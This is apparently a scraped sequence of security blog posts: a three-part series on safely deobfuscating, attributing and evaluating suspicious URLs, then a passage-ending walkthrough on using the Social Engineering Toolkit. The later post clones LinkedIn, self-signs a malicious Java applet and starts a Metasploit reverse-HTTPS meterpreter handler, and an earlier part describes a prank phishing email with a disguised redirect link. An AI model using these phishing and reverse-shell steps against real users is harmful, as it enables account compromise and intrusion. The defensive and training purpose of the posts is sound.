There plenty of methods we could have used to properly deconstruct this URL without risking our computer's health by clicking on the link. First, we can manually deobfuscate the URL using many of the sites we mentioned in last week's article. The general steps for this are:

  1. Unshorten the URL
  2. Discard URL trickery
  3. Convert Octal to Decimal
  4. URL decode
  5. WHOIS attribution


Unshorten the URL

For this step, we use one of the URL shorteners called tinyurlchecker. The following site did reverse our URL.



The result of the unshorten is getting back the monstrosity URL below:

 http://225.116.453.0-bank-login.htm@00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



Discard URL Trickery

The next step is simplifying the URL. Remember, we can remove anything from the http:// up to and including the '@'. For example, '225.116.453.0-bank-login.htm' in the following:

  • http://225.116.453.0-bank-login.htm@

This now yields:

 http://00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



Convert Octal to Decimal

Let's now convert those octals to dotted decimal so we can figure out the first site we are visiting. Octal to dotted decimal conversion can be accomplished by converting each octal separately (Microsoft calc in programmer mode is very useful for this task):

 Address: http://00000112.00000175.00000203.00000151 

Convert: 00000112 = 74 00000175 = 125 00000203 = 131 00000151 = 105

Becomes: http://74.125.131.105



So now we have:

 http://74.125.131.105/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



URL decode

As you can see, the URL above has a fair amount of encoding at the end which prevents us from easily viewing the intention of the URL. We can use a URL Decoder to decode the URL (discussed last week).

 /%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



When decoded, becomes:

 /url?sa=t&url=http://www.youtube.com/watch?v%3DoHg5SJYRHA0





After substitution we now we have:

 http://74.125.131.105/url?sa=t&url=http://www.youtube.com/watch?v%3DoHg5SJYRHA0



So now we know that the redirect is to youtube. But what is the target within youtube? When googling the last portion oHg5SJYRHA0, the first link is to Rick Roll'D.

But we still do not know who is redirecting the victim-we need to figure out who owns the IP address. Both reverse DNS lookup or WHOIS queries could reveal a little about the owner of the site. However, when trying to perform a reverse DNS lookup, it was less than helpful returning: vc-in-f105.1e100.net. Thus, for this we will try a WHOIS service.

WHOIS attribution

We will briefly discuss WHOIS in the next article; however, one of our favorites is DomainTools' WHOIS service. WHOIS records show that the site is registered to Google-which hosts the redirect.


Using manual analysis, we have all of the pieces of information needed to put together the events of this attack. The most succinct description is a Google URL redirect to a Rick Roll YouTube video that has been URL encoded, represented as Octal, with fake authentication wrapped in a TinyURL.

Automatic Safe Deconstruction

The manual deconstruction process discussed above obviously takes a decent amount of time and effort. However, there are a few sites that deserve recognition for being able to cut through the layers of obfuscation to shorten the analysis time. Some sites were good at providing the end results, others were better at breaking down the URL. Our favorites are below:

LongURL

In this example, LongURL took top honors because it provided at least one of the intermediate URLs and was able to go from shortened URL to the rick roll site (even providing the title of the page).



Unshorten.it

While unshorten.it did not provide any of the intermediate URLs, it did gracefully resolve the target completely and provided the title of the site.



Netdemon

While Netdemon could not get past the URLshortener, once the longer URL was entered, it performed best at breaking down the URL components.

 http://225.116.453.0-bank-login.htm@00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



As a result, netdemon was able to URL decode, remove the URL trickery, convert octal to dotted decimal, and pick out the URL parameters that was passed to Google. Its WHOIS could perform better though and provide more information without hitting a third party site. Still, overall it was very useful.



The point is that by using just a couple of automated sites, you can easily obtain every piece of critical data in a much shorter period of time than if you did this manually.

Obfuscation Process

To make this a somewhat challenging process, we incorporated a number of the techniques described in the last article. Here they are:

  • URL Redirection
  • Octal IP Representation
  • URL Encoding
  • URL Trickery
  • URL Shortening


URL Redirection

The only technique above that we did not mention in the previous article was URL redirects because we did not want to spoil the challenge. In very simplistic terms, a URL redirect is an application that accepts a parameter that allows the end user to be redirected to another page. This is a lot of fun for the attacker because it happens so quickly that the user does not have time to react and stop the next page from loading (thus when you see Rick dancing—evil has prevailed—mission accomplished!). URL redirects also allow the attacker to leverage the good name and reputation of the vulnerable site which helps the credibility of the link (as you will see in our example later). As a result, combine the fast nature of the redirect and the credibility leveraged and you get the perfect storm for a phish.

A simple example of a URL redirect:

  • http://www.vulnerablesite.com?URL=http://www.attacker.com


The user will in fact go to vulnerablesite.com first; however they will then be whisked away to attacker.com where the bad guy will most likely serve up malware, clone a page, or perform some other evil deeds.

The first challenge that the attacker faces is finding (or maybe hosting) a page that has a redirect to confuse the user. From an attacker’s point of view, it is best to leverage someone else’s page in order to leverage their credibility, but also to distance them from the attack.

The URL redirect we used in our special link is against Google (with their gracious permission for educational purposes):



That link will first take you to Google and then to YouTube for the Rick Roll (see the Fiddler proxy screenshot below to see how the attack works).



  • Step 1 - Initial request to the vulnerable web server with the parameter that will cause the redirect.
  • Step 2 - Response from the web server with a “Location” header that points to the site specified in the URL parameter in Step 1
  • Step 3 - User's browser following the direction of the vulnerable webserver by visiting the new Location specified in the response header


Octal IP Representation

There wasn't a particular reason to choose Octal other then to add an additional layer of difficulty to the challenge. The technique was covered in detail in our last post so we'll keep it short and sweet here.

  1. nslookup www.google.com resolved one of Google's web servers to 74.125.131.105.
  2. Using Microsoft's Calculator, we converted the IP address - 74 = 0112 125 = 0175 131 = 0203 105 = 0151.
  3. After adding some zero padding (any number of zeros can be used), we come up with http://00000112.00000175.00000203.00000151
  4. Replace "www.google.com" in our redirect URL


Here's our new URL:
 http://00000112.00000175.00000203.00000151/url?sa=t&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoHg5SJYRHA0



URL Encoding

To further obfuscate, we URL encoded the parameters as follows:

ASCIIURL Encoded
url%75%72%6C
sa%73%61
t%74
http%68%74%74%70
www.youtube.com%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D
watch%77%61%74%63%68
DoHg5SJYRHA0%44%6F%48%67%35%53%4A%59%52%48%41%30
When substituting the URL encoded characters above you go from:
 http://00000112.00000175.00000203.00000151/url?sa=t&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoHg5SJYRHA0



To
 http://00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



URL trickery

As we saw last week, Chrome is the only browser that will send the user to the destination page without a warning when the URL is formatted as follows:

  • http://www.bank.com:login.html@google.com/


Thus, an attacker may not want to use this obfuscation unless they know they are targeting a Chrome audience. However, for your enjoyment, let's do it!!

 http://00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



becomes:

 http://225.116.453.0-bank-login.htm@00000112.00000175.00000203.00000151/%75%72%6C?%73%61=%74&%75%72%6C=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2F%77%61%74%63%68%3Fv%3%44%6F%48%67%35%53%4A%59%52%48%41%30



Try it out in Chrome if you have it installed. Smooth as butter. IE will not work and Firefox prompts the user to confirm :( Ok, on to the last step!

URL Shortening

One last step for the obfuscation challenge is to take that monstrosity of a URL and shorten it with your favorite shortener. We used TinyUrl because it allows us to specify a memorable link such as TonysChallenge.



Tracing The Click

Do what does the traffic look like on this craziness when clicked? Take a look at the screenshot below for step by step explanation:



  • Step 1 - The user's browser initially hits TinyURL to unshorten the URL to the URL trickery address.
  • Step 2 - The browser removes the authentication piece and then navigates to the octal address with the URL parameter in place
  • Step 3 - The octal address resolves to Google and then Google responds with a Location header to redirect the user to Youtube goodness.
  • Step 4 - User follows the location header to Youtube for that final moment of realization where it is too late to take back their actions.


Browser Compatibility

As mentioned earlier, using IE on this link would not even work due to the URL authentication being removed from IE 7 and later. Using Firefox would prompt the user and potentially ruin a good opportunity for an attacker. Chrome on the other hand would have worked beautifully.

But think about this: Why would we want to use TinyURL when the site we were using as a redirector is Google?

Answer: We probably don't. If we keep the URL the way it is we leverage the reputation and credibility that Google has that they won't exploit users. Thus, see the following real world example that worked beautifully.

Real World Usage

The following is a real world example; however the name has been changed to protect the identity of the student. The date is real though-almost two years ago! :O

-----Original Message-----
From: John XXXXXX
Sent: Wednesday, February XX, 2011 7:59 AM
To: Lee, Anthony
Subject: late in today
Hi Tony.
Im in your web hacking class which started yesterday. Just letting you know ill be in late today - between 10 and 11.
Thanks,
John XXXXX




What in the world is someone supposed to do with that email? Here is one possible response (notice the similarity in the URL?) (evil laugh):

From: Lee, Anthony
Sent: Wednesday, February XX, 2011 11:21 AM
To: John
Subject: AUTORESPOND: late in today

Thank you for contacting the mailbox of Tony Lee. Due to increased spam from Google mail addresses, this mailbox uses Google mail authentication. Please click the following link to ensure your Google mail is authenticated and routed properly:

http://www.google.com/url?sa=t&source=web&cd=1&ved=0CB8QtwIwAA&url=http%3A%2F%2F%77%77%77%2E%79%6F%75%74%75%62%65%2E%63%6F%6D%2Fwatch%3Fv%3DoHg5SJYRHA0&rct=j&q=%72%69%63%6B%20%72%6F%6C%6C&ei=WPVbTaanApKwhAeSztSFDQ&usg=AFQjCNEcy3X8QxEz3ZqmxAznmt4YfNijBQ&sig2=20gwDFO8tMFtx6qEQyNSAg&cad=rja

Thank you

Tony Lee
[Removed signature block]

This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender and delete all copies. Thank you.




What do you think someone does when they receive this link? Well, they want their email to be routed properly and it is coming from google.com. There are no URL authentication tricks there, just a long URL. So they click it of course! Pure evil >:) But insanely funny. It helps students remember to be careful with URLs in emails.

Conclusion

We hope you had fun with the challenge and got to experiment with a few sites that will help you reverse potentially malicious URLs. Additionally, you should understand more about possible obfuscation techniques and as a bonus, now have a good way to Rick Roll your closest friends. :) Please make sure you visit us for more fun at:



Also, let us know in the comments below if you came up with a better way to safely deconstruct the URL. :) Have fun and happy hacking! (Thanks again to Google for letting us use this as a teaching aide)

Attributing Potentially Malicious URLs - Part 2

$
0
0
by Tony Lee.

This is the second part of a three part series covering how to handle potentially malicious URLs and IP addresses without getting burned by directly communicating with them. We'll cover various online resources and let you know which ones are our favorites and a little context around why we like them. In Part 1, Deobfuscating Potentially Malicious URLs, we laid the groundwork by covering policy, unshortening and deobfuscation. In Part 2 (Attributing Potentially Malicious URLs) we'll continue with WHOIS, GeoIP, and IP to URL.

Outline

  • WHOIS
  • Automatic Safe Deconstruction
  • GeoIP
  • IP to URL
  • Conclusion

First Get Permission If Needed

I won't force you to re-read this section but take this seriously and see the section of the same title in the First Article.

WHOIS

The WHOIS protocol is used to query databases that contain registration information for domains and IP addresses. WHOIS can often be used to provide attribution to a suspected malicious site—especially when the reverse DNS record is not populated or not very helpful. Even though there are WHOIS privacy companies that shield this information for a fee, it is still worth the few seconds to look up the data. It is also important to note that legitimate/large companies will not hide their registration information, so it will be easy to eliminate them from a list of IP addresses.

For the *Nix geeks out there, the command line whois works great. However, for some, a *Nix box is not always immediately available while these sites are always available if you have Internet access.

We observed over time, that when a particular WHOIS service becomes very popular, the hosting company attempts to monetize it by limiting queries to a few per day unless you pay a subscription. Additionally, the service may be abused by people scripting lookups which causes the WHOIS service provider to add a captcha to the site. Our favorite third party WHOIS services listed below are free and do not require CAPTCHAs:

DomainTools

The WHOIS functionality is free on DomainTools, however just about every other feature is a paid report or subscription. This site is still good at performing WHOIS queries because it accepts both IP and domain names in the same box as well as provides a screenshot of the site.



WHOis.net

Whois.net does a great job and accepts both IPs and domain names in the search box. This service also provides the registrar chain needed to obtain the authoritative answer.



GeoIP

GeoIP (also called geolocation) is the mapping of a physical geographic location to other identifiers—in this case an IP address. It is useful to combine this data with WHOIS information in order to gain more context around a suspicious host. Keep in mind though that all of the sites have a disclaimer pertaining to the accuracy of their data because the sites will not always be exactly correct. Take a look at whatismyipaddress’ disclaimer:

Geolocation technology can never be 100% accurate in providing the location of an IP address. When the IP address is a proxy server and it does not expose the user's IP address it is virtually impossible to locate the user. The country accuracy is estimated at about 99%. For IP addresses in the United States, it is 90% accurate on the state level, and 81% accurate within a 25 mile radius. Our world-wide users indicate 55% accurate within 25km.


Source: http://whatismyipaddress.com/ip-lookup

You will even find instances where multiple GeoIP data services will not coincide with one another. The reason for this appears to be that some services may fall back on WHOIS registration information if no other intelligence is available to them. Other, less reliable services seem to solely use the WHOIS information. We have outlined our favorite GeoIP Location services below with our reasons why they earned top picks:

IPLocation

The reason why we like IPLocation the best is because it sources data from three different GeoIP databases: IP2Location, IPligence, and MaxMind. Ironically, if you navigate directly to MaxMind, they cap your queries to only 25 per day. IPlocation does not seem to limit daily queries. From experience, it appears that MaxMind is more accurate than IP2Location and IPligence. For the example IP below, MaxMind’s results are only 5.1 miles away from the actual address.



whatsmyipaddress

We like whatsmyipaddress because it appears to be accurate and often coincides with or is very similar to MaxMind’s results. They also include a map of the area for convenience. In a real-world test, Whatsmyipaddress was only 5.5 miles away from the actual address (we used http://itouchmap.com/latlong.html to convert the lat/long coordinates into an address on Google maps).



Geobytes

Geobytes is another excellent service that provides a map and even a certainty rating along with longitude and latitude coordinates. When these coordinates are plugged into http://itouchmap.com/latlong.html, it shows that geobytes is only 2.4 miles off target. That is incredibly impressive.



IP to URL

The HTTP 1.1 protocol allows multiple websites to be hosted on a single IP address. Our goal in this process is to go from IP address back to the URL (domain), but notice that we did not call this section reverse DNS lookup... You will most commonly see this service called reverse IP lookup, however it is also called shared hosting lookup and a few other names as well. There are a handful of sites that provide this service, but why do these services even exist? Why can’t we just utilize DNS?

The problem is reverse DNS lookups will usually just result to a one to one, IP to hostname result.

For example: A reverse DNS lookup on a GoDaddy shared hosting server at 184.168.193.112 yields p3nw8sh246.shr.prod.phx3.secureserver.net. That is great, however there are probably close to 500 domains being hosted on this one server. There may times when you have an IP, but may be lacking a domain name—to make matters worse a reverse DNS record either doesn’t exist or is unhelpful as shown above. At this point of desperation, use one of the sites we have listed below to go from IP to hopefully a small amount of domains/URLs:

Using 161.69.13.43 (foundstone.com) as an example, we notice that there is no reverse DNS record—thus we must use reverse IP.

DomainTools Reverse IP

DomainTools does it again with a very useful and free service. They will provide up to 2000 virtual addresses on a single host. They also accept either an IP address or domain name.



Bing Search engine "ip:"

One under publicized feature of Bing is their ability to go from IP address to URL. Be warned though, if it is a hosting provider such as GoDaddy, you may have hundreds of sites hosted at a single URL. If the IP is a medium or large site, a reverse IP lookup will result in only a couple of hits.



Robtex

Robtex is an excellent multi-purpose online research tool. Just enter the IP address in the top left hand corner and click the “Lucky” button you will often be presented with lots of context around that IP address or hostname—including shared virtual addresses. Larger sites work better within Robtex and other tools—see the foundstone.com example below:



Using Robtex on the GoDaddy address above, shows that it will handle up to 100 share virtual addresses (a far cry from the 2000 from DomainTools—but still useful on larger domains):



Having multiple resources is always beneficial just in case one disappears or becomes a paid service.

Conclusion

In this article we examined a number of free sites to perform WHOIS, GeoIP location, and reverse IP queries. All of these services can be very useful in eliminating or determining attribution of suspicious URLs and IP addresses. Many of the sites expose an API for automated queries. The list that we provided here is not intended to be all encompassing. However, Googling for these sites does not always provide the best option either. Thus, if you have a favorite gem that was not included in this article please feel free to share it below—we are interested in your experiences as well. :)

Acknowledgements

Thanks goes out to Vimal Navis of McAfee and Drew Thompson of Foundstone for recommending some of these great third party resources.

Evaluating Potentially Malicious URLs - Part 3

$
0
0
by Tony Lee.

This is the final part of a three part series covering how to handle potentially malicious URLs and IPs. In Part 1, Deobfuscating Potentially Malicious URLs, we laid the groundwork by covering policy, unshortening and deobfuscation. In Part 2 of the series, Attributing Potentially Malicious URLs we continued with WHOIS, geoIP, and IP to URL. Finally, in Part 3 of this series (Evaluating Potentially Malicious URLs) we'll will finish up with reputation and evaluating content.

IMPORTANT: Do not directly navigate to any sites that are present in this article. Some of the sites may no longer be available by the time you read this but I wouldn't press your luck.

For most of this article, we are using two sites that appear to be associated with a BlackHole Exploit Toolkit attack. The first site is believed to be a Traffic Direction Script (TDS). The second site is believed to be the browser detection server. The first site is not on the radar of many reputation sites because the infection appears to be relatively new and may be a legitimate site that had malicious javascript injected into it. The second site has a higher risk rating as you will see below.

First Get Permission If Needed

I won't force you to re-read this section but take this seriously and see the section of the same title in the First Article.

Reputation

Reputation simply means an opinion or belief about something or someone. In this case we will be asking security companies and organizations their opinions about an IP address or URL. These companies and organizations develop their opinions through a variety of means. Larger organizations like McAfee and Symantec use their vast footprint of product as sensors to discover, track, and trend potentially malicious files, IP addresses, and URLs. Each endpoint helps the cloud become more intelligent which in turn provides better protection to the end user. Both McAfee and Symantec explain how their reputation technology works below:

“McAfee Global Threat Intelligence (GTI) looks out across its broad network of sensors and connects the dots between the website and associated malware, email messages, IP addresses, and other associations, adjusting the reputation of each related entity so McAfee’s security products — from endpoint to network to gateway — can protect users from cyberthreats at every angle.”

Source: http://www.mcafee.com/us/mcafee-labs/technology/global-threat-intelligence-technology.aspx

“Symantec Insight is a reputation-based security technology that leverages the anonymous software adoption patterns of Symantec’s hundreds of millions of users to automatically discover and classify every single software file, good or bad, on the Internet.”

Source: http://www.symantec.com/business/support/resources/sites/BUSINESS/content/live/DOCUMENTATION/5000/DOC5077/en_US/Insight_v1.pdf

Asking McAfee or Symantec for a reputation means they will query their database of knowledge—thus it is different than asking a company or organization to evaluate a site for content—but the line can become blurred. For example, other security companies or organizations must first evaluate a site’s content in order to derive an opinion. Sites such as VirusTotal will let you know if they have already evaluated the site and will give you their immediate opinion or they give you the option to have them evaluate the site again. This is a perfect example of a site that does both—evaluate a site and provide their opinion of reputation.

There are many sites offering their perceived reputation about another site. We have listed our favorite picks below:

McAfee

McAfee has two different pages that can provide IP/URL reputation: http://www.trustedsource.org/ and http://www.siteadvisor.com. First up is Trusted Source which provides a site’s web and mail reputation (if available). While this does not provide much detail, it is usually fairly accurate.



Next is SiteAdvisor which is traditionally known to be a browser plugin that provides the risk ratings of Internet websites, however the site itself allows you to query for a particular site’s reputation. SiteAdvisor also has a high risk rating for our Blackhole TDS and second stage site.



In this case both Trusted Source and Site Advisor accurately identified our Blackhole TDS site AND the second stage redirect site as high risk sites.

Cisco IronPort SenderBase

IronPort's SenderBase has email and web reputation however a big downside is that it's a bit skimpy on details or reasoning (even after clicking more details).



SenderBase missed the TDS with a risk rating of neutral, however it did have a poor reputation for the browser detection site:



Web of Trust (WOT)

Web of Trust operated in similar fashion to Cisco IronPort’s SenderBase, missed identifying the TDS server, however did correctly identify the second stage site as being dangerous.



Norton (Symantec) Safe Web

Norton’s Safe Web reputation system is very similar to McAfee’s SiteAdvisor and worth checking out. In this particular case, they had no reputation data on our Blackhole TDS site or the second stage server that is the target of the obfuscated iframe redirect.



AVG Site Reports

While we would recommend checking AVG Site Reports for their opinion on a site, we do not recommend their button to visit the site. I know it is marketing for their product, however there is an option to visit the site unsafely which will send the user there. Unfortunately in this case, AVG missed both the first and second stage attacker servers with a rating of “Currently Safe”.



TrendMicro Site Safety

TrendMicro Site Safety incorrectly classified the TDS site as being safe and did not have any data on the second site. Interestingly enough their site states that since they did not have data on the second site, they will now go check it out for the first time. I am not sure how long it takes for them to check it out, but it is not instantaneous. ;)



F-Secure Browsing Protection

Fsecure’s Browsing Protection results are similar to Trendmicro’s. Both sites classified the TDS site as safe and then had never heard of the second stage site—but will now go get their opinion.



Google Safe Browsing

Google’s SafeBrowsing (http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=[enter_site_here]) unfortunately, missed both the first and second stage sites as well.



Webroot BrightCloud

Webroot’s BrightCloud missed the first stage TDS site like so many above; however they did state that the second state site had a moderate risk rating (similar to Cisco and mywot). The only problem with this site is the annoying captcha on the left hand side. Ugh!



Evaluating Content

For sites that do not rely on their previous knowledge, they must evaluate the current state of the site when you ask for it. We are splitting this category into two sections—services that run multiple scan engines and services that utilize their own evaluation engines.

Multiple Scan Engines

When most people think about a site that will utilize multiple scan engines to provide results, they usually think of VirusTotal and they are not wrong in doing so. That site is very good at using multiple scan engines, however VirusNoThanks also has URLVoid and IPVoid services that are quite good as well. The best thing about using both sites is they don’t have too much overlap in scan engines.

VirusTotal

One nice feature about VirusTotal is that it stores a history of previous queries. Because it does this, it can very clearly alert you if it already scanned a site, when it scanned the site, and the detection ratio of its scan engines. It prompts you with the option to Reanalyse or View last analysis.





NoVirusThanks (URLVoid/IPVoid)

The makers of NoVirusThanks have created two services for scanning potentially malicious URLs and IP addresses—urlvoid.com and ipvoid.com. Because URLVoid does not use the exact same scan engines as VirusTotal this makes a great second reference!

It is very subtle, but in the scan results below—notice the report field. It indicates that the data is 4 months old. It does provide the option to rescan the site; however it requires the user to enter a captcha.



Overall these sites are very valuable in providing multiple perspectives on a site’s maliciousness, but for the most part they stay at the surface. Even though both sites do display a little more detail than just good or bad, it does not go into depth the way the next sites will. This is great for a first gut check and also for people that may want to stay at a higher level with just a good or bad rating, but others may need to dig deeper and provide more context about why the site is bad and what it is doing.

Web Analysis Engine

Web analysis engines are all over the charts in terms of usefulness. Some of them take hours to run (no kidding), some minutes, and some seconds. Some will provide a detailed analysis with exploit detection, some will provide the raw data with little to no exploit detection, and some just provide high level good or bad results. If you created a matrix between time and detail, you will get hits all over the place. We have tried to sift through the plethora of sites online that claim to analyze URLs to bring you our top picks. Please note that this is based on our experience in using the sites and our current blackhole exploit toolkit example. Your mileage and opinion may vary—feel free to leave the opinion in the comments section at the bottom of the article.

Jsunpack and urlQuery are our top picks in turns of providing detailed, yet actionable information. Both have different detection mechanisms, but they are complementary and not redundant.

urlQuery

According to the urlQuery site:

“urlQuery.net is a service for detecting and analyzing web-based malware. It provides detailed information about the activities a browser does while visiting a site and presents the information for further analysis.”

That is no lie either. We were very impressed with their thoroughness and exploit detection. Additionally, the advanced settings allows you to set a User Agent and a referrer and lets you know what version of Adobe reader and Java they are running.

This site does take a little bit of time to run, but it is not unreasonable (45 seconds for our run), but it was worth every bit of that time because it was spot on…

This site provides the IP, ASN, location, screenshot of the site, results of IDS detection from Suricata and Snort. Both engines were correct in reporting the following:

  • Suricata /w Emerging Threats Pro - Malware Network Compromised Redirect
  • Snort /w Sourcefire VRT - Compromised Website response - leads to Exploit Kit



One of the most useful sections of the site is the HTTP Transactions link which shows the next site that the Traffic Direction Script is sending us to:



If you were curious what the analysis of the second stage site looked like, we included it below. That is an insane amount of javascript running on one site. It is also an insane amount of HTTP transactions to sites that are not recognizable. We can only imagine what nastiness is beyond this, but it would be a journey down the malware rabbit hole for sure.



jsunpack

jsunpack (“A Generic JavaScript Unpacker”) did exceptionally well against both sites—similarly to urlquery. This site also allows you to enter a customized referer—which we recommend doing so malware sites don’t pick up on the standard defaults. Jsunpack is handy in detecting the parameters of a site; however the unique capability that jsunpack provides is the ability to download the files. This is VERY dangerous and should only be performed on a malware analysis workstation in a malware analysis environment, but it is really handy for pulling the files apart manually. The output format takes a little getting used to but it is very detailed and useful.

Since the data for these sites are similar to urlquery’s results, I will instead include a screenshot from training that I developed while investigating another incident to showcase jsunpack’s exploit detection (The last time I checked, the site was no longer serving malware—but don’t press your luck):





iseclab (wepawet)

wepawet by iseclab is also a site worth mentioning. It is similar to jsunpack in that it can handle javascript and PDFs. In addition this also handles flash. This site is very useful for looking at javascript writes, network activitiy, and redirects.



Sucuri

Sucuri’s SiteCheck did exceptionally well in finding the page that served up the malicious javascript as well as finding the target of the iframe redirect. It provides a few details about the site and blacklist data as well.



Ironically, Sucuri SiteCheck’s blacklist data shows that McAfee’s SiteAdvisor does not advise visiting this site (as we saw in the previous reputation section)—I would have to agree:



The second stage site is blacklisted by both McAfee’s site advisor as well as Sucuri Malware Labs.

Other sites worth trying that unfortunately did not perform well on this example:


Conclusion

In this article we examined a number of free sites that provide reputation information and other sites that will evaluate content of potentially malicious sites. All of these services can be very useful in eliminating or determining the intention of suspicious URLs and IP addresses. Many of the sites expose an API for automated queries. The list that we provided here is not intended to be all encompassing. However, Googling for these sites does not always provide the best option either. Thus, if you have a favorite gem that was not included in this article please feel free to share it below—we are interested in your experiences as well. :)

Acknowledgements

Thanks goes out to Vimal Navis of McAfee and Kerry Steele and Drew Thompson of Foundstone for recommending some of these great third party resources.

Configuring SET to Bypass Outbound Filters and Own the Day

$
0
0
By Melissa Augustine and Brad Antoniewicz.

The Social Engineering Toolkit (SET) is a great, easy to use tool for combining social engineering attacks with Metasploit’s extensive framework. However, SET doesn’t always work right out of the box for all networks. Depending on the target, you may need to tweak SET’s code and configuration to work a little better. In this article we’ll walkthrough a real world attack scenario and talk about some tweaks that will help SET function a little better. We’ll use BackTrack 5 R3 for our SET-up (lolpunz).

Basic SET Configuration

We’ll use the SET’s Java Applet attack vector for our attack. SET’s configuration file is stored within the /pentest/exploits/set folder on BackTrack. To edit:

 root@bt:/pentest/exploits/set# cd config
root@bt:/pentest/exploits/set/config# vim set_config


The default configuration needs a little tweaking to work the way we want it to, here’s what we recommend:

Enable Apache

By default SET uses a Python web server which never seems to be as reliable as we’d like. So if you’re expecting more than one user to connect, its best to leverage Apache.

 APACHE_SERVER=ON


Self-Sign the Applet

SET will automatically self-sign the Java applet that’s presented to the user. This makes things appear a little more official and makes Java happy.

 SELF_SIGEND_APPLET=ON


Name It Something Convincing

It should go without saying that you’ll need to label this something “friendly” and convincing so that you don’t s care aware users. Usually it’s good to match the website you’ve cloned. In our example, we’re cloning LinkedIn, so we’ve set it to match that:
 JAVA_ID_PARAM=LinkedIn 


Enable the Java Repeater

The Java Repeater option tells SET to continuously prompt the user even after they’ve clicked “Cancel” to accepting the applet. While this is a bit of an aggressive move that may end up spooking some users, it often results in a higher success rate, so we go for it.

 JAVA_REPEATER=ON 


To lessen the impact of the repeater, we usually configure a delay (between when the user clicks “Cancel” and when they’re prompted again) of 5 seconds:

 JAVA_TIME=500



Starting SET and Cloning a Website

With the config file ready, we can start SET:
 root@bt:/pentest/exploits/set# ./set


SET is all menu driven so once its started up you’ll be presented with a banner and menu as shown below. Options 4 and 5 will always show regardless of whether SET it up to date or not so don’t be confused if you just updated. Be sure to start with option 6 to be sure your configuration is made active.



Website Cloning

One of SET’s awesome features is that it can close a website of your choosing. We’ll use LinkedIn.com for this example. Select the following options:

 (1)Social-Engineering Attacks ->
(2)Website Attack Vectors ->
(1)Java Applet Attack Method ->
(2)Site Cloner



You’ll just need to provide a couple of options for the website cloner to get started. Here’s what we used:
 Are you using NAT/Port Forwarding? (no)
IP address for the reverse connection (12.x.x.x)
Next is the creation of the Java Applet:
Name (LinkedIn)
Organizational Unit (LinkedIn)
Name of Organization (LinkedIn)
City (Santa Monica)
State (CA)
Country (US)
Is this correct? (yes)

URL to clone (http://www.linkedin.com)




Payloads and Handlers

Metasploit offers tons of payloads we can deliver with our signed Java applet. SET leverages this functionality to make preparing and encoding payloads easy. It’ll also allow you to backdoor a legitimate executable and further obfuscate it. Most antivirus software will easily pick up unpacked, unencoded, or otherwise unobfuscated payloads so it’s worth it to take the time out to do this. We manually generated, packed, and obfuscated a standard metepreter payload since SET doesn’t support using hostnames as the target (more on this in the next section).

If you used SET to generate your payload, then you’re ready to go. However if you created your own, you’ll have to define it as a custom payload within SET:

  (17) Import Your Own Executable
[path to exectuable]



Also we needed to set up a handler to accept the connectback from the payload we generated. With Metasploit running set up the handler:

 msf> use exploit/multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_https
msf exploit(handler)> set LHOST 11.x.x.x
msf exploit(handler)> set LPORT 443
msf exploit(handler)> set ExitOnSession false
msf exploit(handler)> exploit -j



Great, with SET serving our cloned linkedin.com and our meterpreter handler running, we can accept users. Once they arrive on the site they’ll be prompted to run the Java applet, click “Run” (hopefully), the applet will run invoke our payload! - All ready to go right? Wrong...

Outbound filtering

Strong networks have tight outbound filtering rules which make data exfiltration and connect back shells difficult. Although most networks have at least some outbound filtering rules, they’re usually lax and can be bypassed with little effort. HTTP-80/HTTPS-443 is often permitted outbound but web filters and proxies can get in the way. Web traffic filtering appliances compare outbound traffic to a set of rules that allow or deny traffic depending on criteria defined by the administrator. The criteria can vary greatly depending on the organization’s needs - Sometimes an organization may choose to block websites that fall within a particular subject matter (e.g. known “porn”, “hacking”, etc.. sites) or based on reputation. Other times the organization may just prohibit access to hosts that exist within countries where attacks are known to originate. It really depends on the organization, but at the end of the day, the outbound filter can really make life a pain.

One oddly common filter we see is denying access to IP addresses rather than hostnames. It’s common to see many attacks connect back to an attacker controlled host by IP and so the organizations goal is to use that heuristic to their benefit. Let’s talk about changing SET to defeat that!

“Troubleshooting”

Obviously it’s important to test your setup once you think everything should be up and running. When you’re confident in your configuration, make it live and hope for the best. Sometimes things don’t always work as you plan and you’ll have to rely on a bit of charm and wit.

